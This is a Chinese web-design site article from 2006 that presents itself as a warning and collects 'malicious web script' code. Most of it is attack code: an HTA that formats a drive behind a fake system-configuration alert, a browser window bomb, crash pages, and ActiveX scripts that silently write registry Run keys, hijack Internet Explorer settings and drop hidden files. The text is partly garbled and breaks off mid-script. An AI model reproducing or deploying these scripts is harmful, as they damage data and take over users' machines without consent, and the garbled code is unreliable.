当前位置: 电脑软硬件应用网 > 设计学院 > 网页特效 > 正文 |
|
|||
警惕!网页恶意脚本特效代码总结放送 | |||
2006-7-13 11:01:24 文/佚名 出处:电脑软硬件应用网 | |||
以下代码仅供学习研究使用,请勿使用害人,造成损失本人概不负责,谢谢合作! 1、格式化硬盘 </object> <script> scr.Reset(); scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta"; scr.Doc="<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object><script>wsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.);</"+"SCRIPT>"; scr.write(); 2、使 WINDOWS 98掉线的代码 <html> <head> </head> <a href="wincrash.htm" on mouseclick="alert("Go To Hell,Mall!")">HaHa!</a> </html> wincrash.htm <HTML> <BODY> <IMG SRC="c:\con\con"> <!-- or nul\nul, clock$\clock$ --> <!-- or aux\aux, config$\config$ --> </BODY> </HTML> 3、 IE视窗炸弹或者叫让IE不段循环的代码 <HTML> <HEAD> <TITLE>f\*\*k USA</TITLE> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </HEAD> <BODY onload="WindowBomb()"> <SCRIPT LANGUAGE="javascript"> function WindowBomb() { var iCounter = 0 // dummy counter while (true) { window.open("http://www.webjx.com","CRASHING" + iCounter,"width=1,height=1,resizable=no") iCounter++ } } </script> </BODY> </HTML> 4、造成IE 5.0崩溃的代码 <HTML> <BODY> <script> var color = new Array; color[1] = "black"; color[2] = "white"; for(x = 0; x <3; x++) { document.bgColor = color[x] if(x == 2) { x = 0; } } </SCRIPT> </BODY> </HTML> 5、进入WINDOWS 之前弹出来的对话框代码 到注册表找到 LegalNoticeCaption , LegalNoticeText 删除 7、让电脑自动启动程序的代码 。 修改方法 找到相应键值http://www.webjx.com/删除 function f(){ try { 文件://ActiveX/ initialization a1=document.applets[0]; a1.setCLSID(""); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID(""); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID(""); a1.createInstance(); Net = a1.GetObject(); try { if (documents .cookie.indexOf("Chg") == -1) { Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://i50.yjpc.com/"); var expdate = new Date((new Date()).getTime() + (1)); documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 1000); } init();</SCRIPT> 8、自动设成主页代码 9、修改IE标题栏目。 修改方法 将以下代码中可以换的换成你想换的 function f(){ try { //ActiveX initialization a1=document.applets[0]; a1.setCLSID(""); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID(""); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID(""); a1.createInstance(); Net = a1.GetObject(); try { if (documents .cookie.indexOf("Chg") == -1) { Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————( WWW。WEBJX.COM )————( 网页教学网恶意代码请勿试用 )————( WWW。WEBJX.COM)"); Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————( WWW。WEBJX.COM )————( 网页教学网恶意代码请勿试用 )————( WWW。WEBJX.COM)"); var expdate = new Date((new Date()).getTime() + (1)); documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 1000); } init();</SCRIPT>
function f() { try { a1=document.applets[0]; a1.setCLSID(""); a1.createInstance(); sh = a1.GetObject(); a1.setCLSID(""); a1.createInstance(); fo = a1.GetObject(); if (documents .cookie.indexOf("km169set") == -1) { sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\网页教学网\\", "c:\\yntop.htm"); sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\网页教学网\\contexts", 0xf3,"REG_DWORD"); hd=fo.CreateTextFile("c:\\yntop.htm"); hd.write(<html><head></head><\script language=java script>window.open("http://www.webjx.com");<\/script></html>); hd.close(); file=fo.GetFile("c:\\yntop.htm"); file.Attributes=6; var expdate = new Date((new Date()).getTime() + (1)); documents .cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) { } } function init() { setTimeout("f()", 1000); } init();</SCRIPT> 11、IE 的 INTERNET 选项的主页条失去作用变灰的代码。修改方法,找到 HomePage 删除就OK。 <SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function f() { try { a1=document.applets[0]; a1.setCLSID(""); a1.createInstance(); sh = a1.GetObject(); a1.setCLSID(""); a1.createInstance(); fo = a1.GetObject(); if (documents .cookie. |
|||
最新热点 | 最新推荐 | 相关文章 | ||
网页特效代码:仿京东的商品分类导航… 不能屏蔽的网页右下角窗口特效 装载页面进度条代码 链接特效之js做引用文章链接代码 左右移动转换文字特效HTML代码解析 网页页面实现自动刷新的3种代码 网页特效代码:纯css下拉菜单列表 JS特效代码:实现间歇无缝文字滚动特… 文字滚动特效(兼容多浏览器) 网页特效代码:JavaScript显示系统时… |
关于45IT | About 45IT | 联系方式 | 版权声明 | 网站导航 | |
Copyright © 2003-2011 45IT. All Rights Reserved 浙ICP备09049068号 |